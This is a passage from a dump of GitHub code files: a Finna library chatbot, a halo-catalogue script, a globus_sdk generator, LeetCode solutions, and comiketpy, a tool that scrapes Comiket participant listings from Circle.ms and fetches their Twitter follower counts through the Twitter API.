name ends\n for word in text_list:\n if word not in keywords:\n subject_list.append(word)\n else:\n break\n\n subject = \" \".join(subject_list)\n\n # Get all the keywords in the middle, so they can be\n # all be dropped at once, eg written by, books by\n text_list = text_list[len(subject_list):]\n if text_list:\n word = text_list[0]\n while word in keywords:\n keyword += word + \" \"\n text_list = text_list[1:]\n if text_list:\n word = text_list[0]\n else:\n break\n\n # search for an author from the rest of the characters\n author_text = text[len(keyword):].strip()\n author = AS.search(author_text, False)\n if author is \"\":\n author = None\n\n # There might be old info in the extra_info (author), so \n # we need to clear it\n extra_info.clear()\n\n # add the author to extra info so it can be used in the Finna API call\n if author:\n extra_info += [\"author:\\\"\" + author + \"\\\"\"]\n elif intent['sessionAttributes'].get('author'):\n extra_info += [\n \"author:\\\"\" + intent['sessionAttributes']['author'] + \"\\\"\"\n ]\n\n # The Finna API call\n request = lookfor(term=subject, filter=extra_info)['json']\n\n return parse_subject(request, subject, {'author': author})\n\n\ndef extra_info(intent):\n \"\"\"\n :param intent: Input from AWS servers\n :return: Response to AWS server in JSON format\n \"\"\"\n subject = intent['sessionAttributes']['subject']\n author = intent['sessionAttributes'].get('author')\n slots = intent['currentIntent']['slots']\n\n lower = 0\n upper = 9999\n\n slot_lower = slots.get('lower')\n slot_upper = slots.get('upper')\n slot_year = slots.get('year')\n\n # Find out if there is a publish year in intent's slots'\n if slot_lower or slot_upper or slot_year:\n if slot_lower:\n lower = slot_lower\n if slot_upper:\n upper = slot_upper\n if slot_year:\n lower = slot_year\n upper = slot_year\n\n \"\"\"\n Add publication year range to extra info so it can be used in the \n Finna API. Default is from 0 to 9999.\n \"\"\"\n date = \"search_daterange_mv:\\\"[\" + str(lower) + \" TO \" + str(\n upper) + \"]\\\"\"\n extra_info = [date]\n\n # The Finna API call and update of session attributes\n request = lookfor(term=subject, filter=extra_info)['json']\n session_attributes = {'lower': lower, 'upper': upper, 'author': author}\n\n return parse_subject(request, subject, session_attributes)\n else:\n # If there's no publication year in slots, search for author\n return author_search(intent, subject)\n\n\ndef author_search(intent, subject):\n\n author = AS.search(intent['inputTranscript'], False)\n\n # If author is found, make an API call with it.\n if author:\n request = lookfor(subject, filter=[\"author:\\\"\" + author + \"\\\"\"])['json']\n return parse_subject(request, subject, {'author': author})\n\n return util.elicit_intent({'subject': subject},\n \"Sorry, I didn't manage to narrow down the search with the extra information I was given.\")\n\n\ndef record(id, field=[], method='GET', pretty_print='0'):\n \"\"\"\n Simple function for accessing the Finna API.\n :param id: id of the book looked for\n :param field: what fields we want to include in the json search\n :param method: POST or GET, use of POST should be done if the\n response is long, defaults to GET\n :param pretty_print: if the resulting JSON should be prettyprinted, '1'\n for yes and '0' for no, defaults to '0'\n :return: a dictionary with 'status_code' from the request and 'json'\n \"\"\"\n params = {\n 'field[]': field,\n 'id': [id],\n 'prettyPrint': [pretty_print],\n 'lng': ['en-gb']\n }\n\n sess = requests.Session()\n sess.headers.update(__headers)\n sess.params.update(params)\n\n r = sess.request(url=__url + 'record', method=method)\n sess.close()\n\n return {'status_code': r.status_code, 'json': r.json()}\n\n\ndef timeout_handler(signum, frame): # pragma: no cover\n raise RuntimeError('Timed out!')\n\n\ndef lookfor(term=\"\", field=[], filter=[], method='GET', pretty_print='0'):\n \"\"\"\n Simple function for accessing the Finna API.\n :param term: what to look for, e.g. 'software'\n :param field: what fields we want to include in the json search\n :param filter: filters the json search\n :param method: POST or GET, use of POST should be done if the reponse is\n long, defaults to GET\n :param pretty_print: if the resulting JSON should be prettyprinted, '1' for\n yes and '0' for no, defaults to '0'\n :return: a dictionary with 'status_code' from the request and 'json'\n \"\"\"\n params = {\n 'lookfor': [term],\n 'filter[]': [\n 'building:\"0/AALTO/\"',\n ] + filter,\n 'field[]': field,\n 'prettyPrint': [pretty_print],\n 'lng': ['en-gb']\n }\n \n signal.signal(signal.SIGALRM, timeout_handler)\n # Allow 4 seconds to get a response back from finna api\n signal.alarm(5)\n\n sess = requests.Session()\n sess.headers.update(__headers)\n sess.params.update(params)\n\n r = sess.request(url=__url + 'search', method=method)\n sess.close()\n\n signal.alarm(0)\n\n res = {'status_code': r.status_code, 'json': r.json()}\n return res\n","repo_name":"NickKuts/Libby","sub_path":"lambda_func/book_info.py","file_name":"book_info.py","file_ext":"py","file_size_in_byte":15259,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"81"} +{"seq_id":"26891144097","text":"import numpy as np\nfrom glob import glob\nimport h5py,sys\nfrom astropy.table import Table\n\n#halo catalogue\nMod = sys.argv[1]\nLbox = int(sys.argv[2])\nS = sys.argv[3]#'302'\nhaloes_dir = sys.argv[4]\n\nredshift_dict = {'302':0.3,'400':0.0,'175':1.0}\nz_s = redshift_dict[S]\n\nhaloes_name = np.sort(glob(haloes_dir+'fof_subhalo_tab_'+S+'.*.hdf5'))\nprint('Found {} blocks of data in {} directory. Opening data...'.format(len(haloes_name),haloes_dir) )\n\nM_all = []\nCM_all = []\nR_all = []\npos_all = []\nIDs_all = []\nNsub_all = []\nsh_GrNr_all = []\nsh_pos = []\nsh_mass = []\nFirstSub_all = []\n#we set a min mass to select haloes. Normally the limit where the low-res run stops producing haloes Mmin = 1.6e11\nid_i = 0\nfor hi in haloes_name:\n #main halo information\n haloes = h5py.File(hi,'r')\n M = haloes['Group/Group_M_Crit200'][:]\n ID = np.arange(id_i,id_i+len(M))\n id_i += len(M)\n M_nonzero = M[M>16][:]*1e10\n ID_nonzero = ID[M>16]\n R = haloes['Group/Group_R_Crit200'][:][M>16]\n pos = haloes['Group/GroupPos'][:][M>16]\n Nsub = haloes['Group/GroupNsubs'][:][M>16]\n CM = haloes['Group/GroupCM'][:][M>16]\n group_firstsub = haloes['Group/GroupFirstSub'][:][M>16]\n M_all.append(M_nonzero)\n R_all.append(R)\n pos_all.append(pos)\n IDs_all.append(ID_nonzero)\n Nsub_all.append(Nsub)\n CM_all.append(CM)\n FirstSub_all.append(group_firstsub)\n #subhalo information\n sh_GrNr_all.append(haloes['Subhalo/SubhaloGrNr'])\n sh_pos.append(haloes['Subhalo/SubhaloPos'])\n sh_mass.append(haloes['Subhalo/SubhaloMass'][:]*1e10)\n \nM_all = np.concatenate(M_all)\nR_all = np.concatenate(R_all)\nCM_all = np.concatenate(CM_all)\npos_all = np.concatenate(pos_all)\nIDs_all = np.concatenate(IDs_all)\nNsub_all = np.concatenate(Nsub_all)\nFirstSub_all = np.concatenate(FirstSub_all)\n#\nsh_GrNr_all = np.concatenate(sh_GrNr_all)\nsh_pos_all = np.concatenate(sh_pos)\nsh_mass_all = np.concatenate(sh_mass)\n#ignore subhalos without the required haloes\n\n#sorting subhaloes\nprint('sorting subhaloes in haloes...')\n\nfull_sh_id_mass = []\nfor i in range(len(M_all)):\n ID_sh = sh_GrNr_all[FirstSub_all[i]:FirstSub_all[i]+Nsub_all[i]]\n pos_sh = sh_pos_all[FirstSub_all[i]:FirstSub_all[i]+Nsub_all[i]]\n mass_sh = sh_mass_all[FirstSub_all[i]:FirstSub_all[i]+Nsub_all[i]]\n full_sh_id_mass.append(np.vstack([ID_sh,pos_sh.T,mass_sh]).T)\nfull_sh_id_mass = np.concatenate(full_sh_id_mass) \n\nfirst_sh = np.unique(full_sh_id_mass[:,0],return_index=True)[1]\n\ninter_sh_IDs = np.intersect1d(sh_GrNr_all,IDs_all,return_indices=True)\n\ndir_out = '/cosma7/data/dp004/dc-armi2/HOD_mocks/halo_catalogues/'\ncat_mainhaloes = Table(data = [IDs_all,M_all,R_all,CM_all,pos_all,Nsub_all,first_sh],names=['ID','M200c','R200c','CM','pos','Nsh','FirstSh'])\ncat_subhaloes = Table(data = [full_sh_id_mass[:,0],full_sh_id_mass[:,(1,2,3)],full_sh_id_mass[:,4]],names=['ID_MainHalo','pos','M200c'])\n\nf = h5py.File(dir_out+'Haloes_MG-Gadget_'+Mod+'_z'+str(z_s)+'_L'+str(Lbox)+'_ID_M200c_R200c_pos_Nsh_FirstSh_SubHaloList_SubHaloMass_logMmin_11.2.0.hdf5', 'w')\nf.create_dataset('MainHaloes', data=cat_mainhaloes)\nf.create_dataset('SubHaloes', data=cat_subhaloes)\n\nf.close()\n\nprint('saving data in: {}.'.format(dir_out))\nprint('End of program')\n\n","repo_name":"jarmijotorres/mock_project","sub_path":"mock_haloes_subhaloes.py","file_name":"mock_haloes_subhaloes.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39612040946","text":"#!/usr/bin/env python\n\nimport pathlib\nimport textwrap\nfrom typing import Iterator, List, Tuple\n\nHERE = pathlib.Path(__file__).parent\n\nFIXED_PREAMBLE = \"\"\"\\\n# isort:skip_file\n# fmt:off\n#\n# this __init__.py file is generated by __generate_init.py\n# do not edit it directly or testing will fail\nimport importlib\nimport logging\nimport sys\nimport typing\n\nfrom .version import __version__\n\n\ndef _force_eager_imports() -> None:\n current_module = sys.modules[__name__]\n\n for attribute_set in _LAZY_IMPORT_TABLE.values():\n for attr in attribute_set:\n getattr(current_module, attr)\n\"\"\"\n\nFIXED_EPILOG = \"\"\"\n# configure logging for a library, per python best practices:\n# https://docs.python.org/3/howto/logging.html#configuring-logging-for-a-library\nlogging.getLogger(\"globus_sdk\").addHandler(logging.NullHandler())\n\"\"\"\n\n\n_LAZY_IMPORT_TABLE: List[Tuple[str, Tuple[str, ...]]] = [\n (\n \"authorizers\",\n (\n \"AccessTokenAuthorizer\",\n \"BasicAuthorizer\",\n \"ClientCredentialsAuthorizer\",\n \"NullAuthorizer\",\n \"RefreshTokenAuthorizer\",\n ),\n ),\n (\"client\", (\"BaseClient\",)),\n (\n \"exc\",\n (\n \"GlobusAPIError\",\n \"GlobusConnectionError\",\n \"GlobusConnectionTimeoutError\",\n \"GlobusError\",\n \"GlobusSDKUsageError\",\n \"GlobusTimeoutError\",\n \"NetworkError\",\n ),\n ),\n (\n \"local_endpoint\",\n (\n \"GlobusConnectPersonalOwnerInfo\",\n \"LocalGlobusConnectPersonal\",\n ),\n ),\n (\"response\", (\"GlobusHTTPResponse\",)),\n (\n \"services.auth\",\n (\n \"AuthAPIError\",\n \"AuthClient\",\n \"ConfidentialAppAuthClient\",\n \"IdentityMap\",\n \"NativeAppAuthClient\",\n \"OAuthDependentTokenResponse\",\n \"OAuthTokenResponse\",\n ),\n ),\n (\n \"services.gcs\",\n (\n \"CollectionDocument\",\n \"GCSAPIError\",\n \"GCSClient\",\n \"GCSRoleDocument\",\n \"GuestCollectionDocument\",\n \"MappedCollectionDocument\",\n \"StorageGatewayDocument\",\n \"StorageGatewayPolicies\",\n \"POSIXStoragePolicies\",\n \"POSIXStagingStoragePolicies\",\n \"BlackPearlStoragePolicies\",\n \"BoxStoragePolicies\",\n \"CephStoragePolicies\",\n \"GoogleDriveStoragePolicies\",\n \"GoogleCloudStoragePolicies\",\n \"OneDriveStoragePolicies\",\n \"AzureBlobStoragePolicies\",\n \"S3StoragePolicies\",\n \"ActiveScaleStoragePolicies\",\n \"IrodsStoragePolicies\",\n \"HPSSStoragePolicies\",\n \"UserCredentialDocument\",\n ),\n ),\n (\n \"services.groups\",\n (\n \"BatchMembershipActions\",\n \"GroupMemberVisibility\",\n \"GroupPolicies\",\n \"GroupRequiredSignupFields\",\n \"GroupRole\",\n \"GroupsAPIError\",\n \"GroupsClient\",\n \"GroupsManager\",\n \"GroupVisibility\",\n ),\n ),\n (\n \"services.search\",\n (\n \"SearchAPIError\",\n \"SearchClient\",\n \"SearchQuery\",\n \"SearchScrollQuery\",\n ),\n ),\n (\"services.timer\", (\"TimerAPIError\", \"TimerClient\", \"TimerJob\")),\n (\n \"services.transfer\",\n (\n \"ActivationRequirementsResponse\",\n \"DeleteData\",\n \"IterableTransferResponse\",\n \"TransferAPIError\",\n \"TransferClient\",\n \"TransferData\",\n ),\n ),\n]\n\n\ndef _generate_imports() -> Iterator[str]:\n for modname, items in _LAZY_IMPORT_TABLE:\n for item in items:\n yield textwrap.indent(f\"from .{modname} import {item}\", \" \")\n\n\ndef _generate_lazy_import_table() -> Iterator[str]:\n yield \"_LAZY_IMPORT_TABLE = {\"\n for modname, items in _LAZY_IMPORT_TABLE:\n yield textwrap.indent(f'\"{modname}\": {{', \" \" * 4)\n for item in items:\n yield textwrap.indent(f'\"{item}\",', \" \" * 8)\n yield textwrap.indent(\"},\", \" \" * 4)\n yield \"}\"\n\n\ndef _generate_all_tuple() -> Iterator[str]:\n yield \"__all__ = (\"\n yield ' \"__version__\",'\n yield ' \"_force_eager_imports\",'\n for _modname, items in _LAZY_IMPORT_TABLE:\n for item in items:\n yield f' \"{item}\",'\n yield \")\"\n\n\ndef _init_pieces() -> Iterator[str]:\n yield FIXED_PREAMBLE\n yield \"\"\n yield from _generate_lazy_import_table()\n yield \"\"\n yield \"if typing.TYPE_CHECKING or sys.version_info < (3, 7):\"\n yield from _generate_imports()\n yield \"\"\"\nelse:\n\n def __getattr__(name: str) -> typing.Any:\n for modname, items in _LAZY_IMPORT_TABLE.items():\n if name in items:\n mod = importlib.import_module(\".\" + modname, __name__)\n value = getattr(mod, name)\n setattr(sys.modules[__name__], name, value)\n return value\n\n raise AttributeError(f\"module {__name__} has no attribute {name}\")\n\"\"\"\n yield \"\"\n yield from _generate_all_tuple()\n yield \"\"\n yield FIXED_EPILOG\n\n\ndef _generate_init() -> str:\n return \"\\n\".join(_init_pieces())\n\n\ndef main() -> None:\n with open(HERE / \"__init__.py\", \"w\", encoding=\"utf-8\") as fp:\n fp.write(_generate_init())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"martires-colin/falcon-globus-website","sub_path":"flask-server/venv/Lib/site-packages/globus_sdk/_generate_init.py","file_name":"_generate_init.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73471875465","text":"class Solution:\n def stoneGameV(self, stoneValue: List[int]) -> int:\n ps = [0]*(len(stoneValue)+1)\n for i in range(1,len(stoneValue)+1):\n ps[i] = ps[i-1] + stoneValue[i-1]\n #print(ps)\n dp = [[-1]*(len(stoneValue)+2) for i in range((len(stoneValue)+2))]\n def dpa(l, r):\n #print(l,r)\n if dp[l][r] != -1:\n return dp[l][r]\n if l == r:\n dp[l][r] = 0\n return 0\n ma = 0\n for i in range(l, r):\n la = ps[i] - ps[l-1]\n ra = ps[r] - ps[i]\n #print(i, l, r, la, ra)\n if la > ra:\n ma = max(ma, ra + dpa(i+1, r))\n elif la == ra:\n ma = max(ma, la + dpa(i+1, r), la + dpa(l,i))\n else:\n ma = max(ma, la + dpa(l, i))\n dp[l][r] = ma\n #print(l, r, ma)\n return ma\n dpa(1, len(stoneValue))\n #print(dp)\n return dp[1][len(stoneValue)]\n","repo_name":"gauravaror/programming","sub_path":"stonegameV.py","file_name":"stonegameV.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6226152354","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 21 18:00:00 2019\n\nget Circle.ms Data and Twitter Data\n@author: nozomi_toba\n\"\"\"\n################################################################\n#\n# you can get Circle.ms's data by this program, made by csv files\n# if you use the program, you have to sign up Circle.ms's\n# and Twitter API accounts\n# after that you can use this program\n#\n# filename:\n# circle_ms_all_id.csv : all ids of participant in comiket\n# all_circle_info.csv : all information of participant in comiket\n# all_circle_info_twitter.csv: all information with Twitter followers count of participant in comiket\n#\n################################################################\n\nimport json\nimport pandas as pd\nimport os\nimport re\nimport requests\nimport tweepy\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nfrom getpass import getpass\nfrom statistics import mean\nfrom time import sleep\n\nBase_dir = os.path.abspath(\"./\")\n\n################################################################\n#\n# initilaize Twitter's keys and Circle.ms's ones\n#\n# meaning of functions and arguments:\n# init_keys(): initialize keys of Twitter API and Circle.ms\n# Ck: Twitter API consumer key\n# Cs: Twitter API consumer secret\n# At: Twttier API access token\n# As: Twitter API access secret\n# Un: Circle.ms username\n# Pw: Circle.ms password\n#\n# eg(interactive mode):\n# >>> import comiketpy as cmp\n# >>> cmp.init_keys()\n# ### Twitter_API Consumer_key : /* input your Twitter API consumer key by password mode */\n# ### Twitter_API Consumer_secret: /* input yout Twitter API consumer secret by password mode */\n# ### Twitter_API Access_token : /* input your Twitter API access token by password mode */\n# ### Twitter_API Access_secret : /* input your Twitter API access secret by password mode */\n# ### Circle_ms Username : /* input your Circle.ms username by input mode */\n# ### Circle_ms Password : /* input your Circle.ms password by password mode */\n# ### キーの初期化をしました。\n#\n# eg(script mode):\n# >>> import comiketpy as cmp\n# >>> Ck = /* input your Twitter API consumer key by password mode */\n# >>> Cs = /* input yout Twitter API consumer secret by password mode */\n# >>> At = /* input your Twitter API access token by password mode */\n# >>> As = /* input your Twitter API access secret by password mode */\n# >>> Un = /* input your Circle.ms username by input mode */\n# >>> Pw = /* input your Circle.ms password by password mode */\n# >>> cmp.init_keys(Ck=Ck, Cs=Cs, At=At, As=As, Un=Un, Pw=Pw)\n# ### キーの初期化をしました。\n#\n################################################################\nclass InitComiketpyKey(object):\n\n def __init__(self):\n pass\n\n def init_keys(self, Ck=\"\", Cs=\"\", At=\"\", As=\"\", Un=\"\", Pw=\"\"):\n # input Twitter's keys by password mode.\n if Ck == \"\":\n Ck = getpass(\"Twitter_API Consumer_key : \")\n if Cs == \"\":\n Cs = getpass(\"Twitter_API Consumer_secret: \")\n if At == \"\":\n At = getpass(\"Twitter_API Access_token : \")\n if As == \"\":\n As = getpass(\"Twitter_API Access_secret : \")\n\n # input Circle.mcs's keys by password mode and input mode.\n if Un == \"\":\n Un = input(\"Circle_ms Username : \")\n if Pw == \"\":\n Pw = getpass(\"Circle_ms Password : \")\n\n output = {\n \"Twitter_API\": {\n \"Consumer_key\": Ck,\n \"Consumer_secret\": Cs,\n \"Access_token\": At,\n \"Access_secret\": As\n },\n \"Circle_ms\": {\n \"Username\": Un,\n \"Password\": Pw\n }\n }\n\n # register their keys\n with open(Base_dir+\"/resources/login_info.json\", mode=\"w\") as file:\n json.dump(output, file)\n\n print(\"キーの初期化をしました。\")\n\n################################################################\n#\n# get Circle.ms information\n#\n# !!! CAUTION !!!\n# if you don't register subscribed account on Circle.ms,\n# you have to wait so many hours (about half a day)\n# during getting all circle.ms's ids of participants of comiket\n#\n# meaning of functions and arguments:\n# make_csv_all_id() : get all ids of participant in comiket\n# make_csv_all_circle_info(): get one id of participant in comiket\n# circle_info() : get circle information from htmls of participant in comiket\n# Target_html: html of participant in comiket\n#\n# eg:\n# >>> import comiketpy as cmp\n# >>> cmp.make_csv_all_id()\n# ### コミックマーケット参加者 ID (落選を含む)を取得します。\n# ### 1 日目のデータは 127 ページあります。\n# ### 現在 20 ページのデータを取得中です。\n# ### ...\n# ### 現在 120 ページのデータを取得中です。\n# ### 全てのコミックマーケット参加者 ID (落選を含む)を取得しました。\n# >>> cmp.make_csv_all_circle_info()\n# ### コミックマーケット参加者の情報(落選を含む)を取得します。\n# ### Circle.ms のデータは残り 37000 ページあります。\n# ### ...\n# ### Wait 5 minutes....\n# ### ...\n# ### Circle.ms のデータは残り 0 ページあります。\n# ### 全てのコミックマーケット参加者の情報(落選を含む)を取得しました。\n#\n################################################################\nclass AnalyzeCircleMs(object):\n\n def __init__(self):\n\n # set login key via json file\n Target_json = Base_dir+\"/resources/login_info.json\"\n with open(Target_json) as file:\n Login_info = json.loads(file.read())[\"Circle_ms\"]\n\n # login on Circle.ms page\n Target_url = \"https://webcatalog-free.circle.ms/Account/Login\"\n Target_html = requests.get(Target_url).text\n Soup = BeautifulSoup(Target_html, \"html.parser\")\n\n Form_action = Soup.find(\"form\")[\"action\"]\n\n Input_list = Soup.find_all(\"input\")\n for li in Input_list:\n try:\n key = li[\"name\"]\n val = li[\"value\"]\n except:\n continue\n if key not in Login_info:\n Login_info[key] = val\n\n session = requests.session()\n res = session.post(Form_action, data=Login_info)\n # if session of login is failed, raise for status\n res.raise_for_status()\n\n # creating Circle.ms login instance\n self.session = session\n\n def make_csv_all_id(self):\n\n print(\"コミックマーケット参加者 ID (落選を含む)を取得します。\")\n\n # held days of comiket as of 2018 winter\n # in 2019 comiket will be held 4 days, so Days will be rewritten Days = (1,2,3,4,99)\n # they mean participants of 1st day, 2nd day, 3rd day, and rejected ones in comiket\n Days = (1,2,3,99)\n\n all_id = []\n\n target_csv = Base_dir+\"/resources/circle_ms_all_id.csv\"\n with open(target_csv, mode=\"w\") as file:\n file.write(\"Id\\n\")\n\n session = self.session\n\n for day in Days:\n\n Target_url = \"https://webcatalog-free.circle.ms/Circle?Day=\" + str(day)\n Target_html = session.get(Target_url).text\n\n Soup = BeautifulSoup(Target_html, \"html.parser\")\n\n Title = Soup.find(\"title\").text\n\n # only 3 minutes serially you can connect comiket web catalog\n # so if you connect the page over 3 minutes serially, wait 5 minutes\n # if you don't want to wait, you register subscribed account on Circle.ms\n if \"Comike Web Catalog\" not in Title:\n\n print(datetime.today(), \"Wait 5 minutes....\")\n\n with open(target_csv, mode=\"a\") as file:\n for one_id in all_id:\n file.write(one_id+\"\\n\")\n\n all_id = []\n # wait 5 minutes before next connecting\n sleep(301)\n\n Target_html = session.get(Target_url).text\n\n pre_pages = Soup.find_all(\"div\", attrs={\"class\": \"m-pagination-item m-pagination-nav\"})[-1]\n pages = int(re.search(\"[0-9]+\", pre_pages.find(\"a\")[\"href\"][-3:]).group(0))\n\n print(datetime.today(), day, \"日目のデータは\", pages,\"ページあります。\")\n\n for page in range(1, pages+1):\n\n Target_url = \"https://webcatalog-free.circle.ms/Circle?Day=\" + str(day) + \"&page=\" + str(page)\n Target_html = session.get(Target_url).text\n\n Soup = BeautifulSoup(Target_html, \"html.parser\")\n\n Title = Soup.find(\"title\").text\n\n if \"Comike Web Catalog\" not in Title:\n\n print(datetime.today(), \"Wait 5 minutes....\")\n\n with open(target_csv, mode=\"a\") as file:\n for one_id in all_id:\n file.write(one_id+\"\\n\")\n\n all_id = []\n sleep(301)\n\n Target_html = session.get(Target_url).text\n\n if page % 20 == 0:\n print(datetime.today(), \"現在\", page, \"ページのデータを取得中です。\")\n\n Soup = BeautifulSoup(Target_html, \"html.parser\")\n\n pre_current_all_id = Soup.find(\"script\", attrs={\"type\": \"application/json\"}).text\n Current_all_id = [one_id[len(\"\\\"Id\\\":\"):-1] for one_id in re.findall(\"\\\"Id\\\":[0-9]*?,\", pre_current_all_id)]\n\n all_id.extend(Current_all_id)\n\n with open(target_csv, mode=\"a\") as file:\n for one_id in all_id:\n file.write(one_id+\"\\n\")\n\n print(\"全てのコミックマーケット参加者 ID (落選を含む)を取得しました。\")\n\n def make_csv_all_circle_info(self):\n\n print(datetime.today(), \"コミックマーケット参加者の情報(落選を含む)を取得します。\")\n target_csv = Base_dir+\"/resources/circle_ms_all_id.csv\"\n\n Series = pd.read_csv(target_csv, dtype=\"object\")[\"Id\"]\n\n target_csv = Base_dir+\"/resources/all_circle_info.csv\"\n\n with open(target_csv, mode=\"w\") as file:\n file.write(\"\")\n\n columns = [\"Id\",\"Day\",\"Hall\",\"Block\",\"Space\",\"Name\",\"Author\",\"Genre\",\"PixivId\",\"TwitterId\"]\n all_circle_info = [{i: i for i in columns}]\n\n pages = len(Series)\n\n session = self.session\n\n for i in range(pages):\n\n Target_url = \"https://webcatalog-free.circle.ms/Circle/\" + str(Series[i])\n Target_html = session.get(Target_url).text\n\n Soup = BeautifulSoup(Target_html, \"html.parser\")\n\n Title = Soup.find(\"title\").text\n\n # only 3 minutes serially you can connect comiket web catalog\n # so if you connect the page over 3 minutes serially, wait 5 minutes\n # if you don't want to wait, you register subscribed account on Circle.ms\n if \"Comike Web Catalog\" not in Title:\n\n print(datetime.today(), \"Wait 5 minutes....\")\n\n # write csv file by mode of adding a postscript\n pre_df = pd.io.json.json_normalize(all_circle_info)\n df = pre_df.loc[:,[\"Id\",\"Day\",\"Hall\",\"Block\",\"Space\",\"Name\",\"Author\",\"Genre\",\"PixivId\",\"TwitterId\"]]\n df.to_csv(target_csv, mode=\"a\", header=False, index=False)\n\n all_circle_info = []\n\n # wait 5 minutes before next connecting\n sleep(301)\n\n Target_html = session.get(Target_url).text\n\n all_circle_info.append(self.circle_info(Target_html))\n\n if (pages-i-1) % 20 == 0:\n print(datetime.today(), \"Circle.ms のデータは残り\", pages-i-1, \"ページあります。\")\n\n # write csv file by mode of adding a postscript\n pre_df = pd.io.json.json_normalize(all_circle_info)\n df = pre_df.loc[:,[\"Id\",\"Day\",\"Hall\",\"Block\",\"Space\",\"Name\",\"Author\",\"Genre\",\"PixivId\",\"TwitterId\"]]\n df.to_csv(target_csv, mode=\"a\", header=False, index=False)\n\n print(\"全てのコミックマーケット参加者の情報(落選を含む)を取得しました。\")\n\n def circle_info(self, Target_html):\n\n Current_circle = re.search(\"ComiketWebCatalog.CurrentCircle(.|\\s)*?};\", Target_html).group(0)\n Name, Id, TwitterId, PixivId = (string[1:-1] for string in re.findall(\"'.*?'\", Current_circle))\n\n Location = re.search(\"ComiketWebCatalog.CurrentCircle.Location(.|\\s)*?};\", Target_html).group(0)\n Day, Hall, Block, Space = (string[1:-1] for string in re.findall(\"'.*?'\", Location))\n\n # get author information\n target_th = re.search('
(.|\\s)*?', Target_html).group(0)\n soup = BeautifulSoup(target_th, \"html.parser\")\n Author = re.search(\".*\", soup.find(\"td\").text).group(0)[:-1]\n\n # get genre information\n target_th = re.search('ジャンル(.|\\s)*?', Target_html).group(0)\n soup = BeautifulSoup(target_th, \"html.parser\")\n Genre = soup.find(\"td\").text.split(\"\\n\")[1][:-1]\n\n res = {\n \"Name\" : Name,\n \"Id\" : Id,\n \"TwitterId\": TwitterId,\n \"PixivId\" : PixivId,\n \"Day\" : Day,\n \"Hall\" : Hall,\n \"Block\" : Block,\n \"Space\" : Space,\n \"Author\" : Author,\n \"Genre\" : Genre,\n }\n\n return res\n\n################################################################\n#\n# get Twitter information of participants in comiket\n#\n# !!! CAUTION !!!\n# it is explicitly prohibitten to scrape any Twitter pages without Twitter API\n# cf https://help.twitter.com/en/rules-and-policies/twitter-rules\n# if you scrape some Twitter pages, you have to sign up Twitter API developper account\n# why don't you know how to sign up Twitter API developper account? you google it\n#\n# !!! CAUTION !!!\n# you have to wait so many hours (about half a day) because of the twitter rules\n#\n# meaning of functions and arguments:\n# get_all_followers_count(): get all followers counts of participant in comiket\n# start : index of all_circle_info.csv, even if you interrupt running function get_all_followers_count(), you can restart the program\n# get_followers_count() : get one followers count fo participant in comiket\n# user_id: Twitter user id of participant in comiket\n#\n# eg:\n# >>> import comiketpy as cmp\n# >>> cmp.get_all_followers_count()\n# ### Twitter のフォロワー数を取得します。\")\n# ### Twitter のデータは残り 30000 ページあります。\n# ### ...\n# ### Twitter のデータは残り 0 ページあります。\n# ### 全てのコミックマーケット参加者のフォロワー数(落選を含む)を取得しました。\n#\n################################################################\nclass AnalyzeTwitter(object):\n\n def __init__(self):\n\n # set login key via json file\n Target_json = Base_dir+\"/resources/login_info.json\"\n with open(Target_json) as file:\n Login_info = json.loads(file.read())[\"Twitter_API\"]\n\n Ck = Login_info[\"Consumer_key\"]\n Cs = Login_info[\"Consumer_secret\"]\n At = Login_info[\"Access_token\"]\n As = Login_info[\"Access_secret\"]\n\n # authority recognition\n auth = tweepy.OAuthHandler(Ck, Cs)\n auth.set_access_token(At, As)\n\n # creating API instance\n self.api = tweepy.API(auth)\n\n def get_all_followers_count(self, start=0):\n\n print(datetime.today(), \"Twitter のフォロワー数を取得します。\")\n\n target_csv = Base_dir+\"/resources/all_circle_info.csv\"\n # write csv file by mode of new writing\n df = pd.read_csv(target_csv, dtype=\"object\")\n Series = df[\"TwitterId\"]\n\n target_csv = Base_dir+\"/resources/all_circle_info_twitter.csv\"\n pages = len(Series)\n\n for i in range(start, pages):\n if (pages-i-1) % 20 == 0:\n print(datetime.today(), \"Twitter のデータは残り\", pages-i-1, \"ページあります。\")\n # write csv file by mode of new writing\n df.to_csv(target_csv, mode=\"w\", index=False)\n\n try:\n df.loc[i,\"TwitterFollowers\"] = str(self.get_followers_count(user_id=int(Series[i])))\n except:\n df.loc[i,\"TwitterFollowers\"] = \"\"\n\n # write csv file by mode of new writing\n df.to_csv(target_csv, mode=\"w\", index=False)\n\n print(datetime.today(), \"全てのコミックマーケット参加者のフォロワー数(落選を含む)を取得しました。\")\n\n def get_followers_count(self, user_id):\n\n api = self.api\n\n userInfo = api.get_user(user_id=user_id)\n res = userInfo.followers_count\n\n # technical avoidant time because of Twitter Followers count only one request per one sec.\n sleep(1)\n\n return res\n\n","repo_name":"278Mt/comiketpy","sub_path":"comiketpy/data_set.py","file_name":"data_set.py","file_ext":"py","file_size_in_byte":17127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"18900165534","text":"\"\"\"\nGiven an integer array nums that may contain duplicates, return all possible subsets (the power set).\n\nThe solution set must not contain duplicate subsets. Return the solution in any order.\n\n\n\nExample 1:\n\nInput: nums = [1,2,2]\nOutput: [[],[1],[1,2],[1,2,2],[2],[2,2]]\nExample 2:\n\nInput: nums = [0]\nOutput: [[],[0]]\n\n\nConstraints:\n\n1 <= nums.length <= 10\n-10 <= nums[i] <= 10\n\"\"\"\nfrom typing import List\n\n\nclass SubsetsII:\n def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:\n nums.sort();\n\n def backtrack(list: List[List[int]], temp: List[int], start: int):\n list.append(temp.copy())\n for i in range(start, len(nums)):\n if i != start and nums[i] == nums[i-1]:\n continue\n temp.append(nums[i])\n 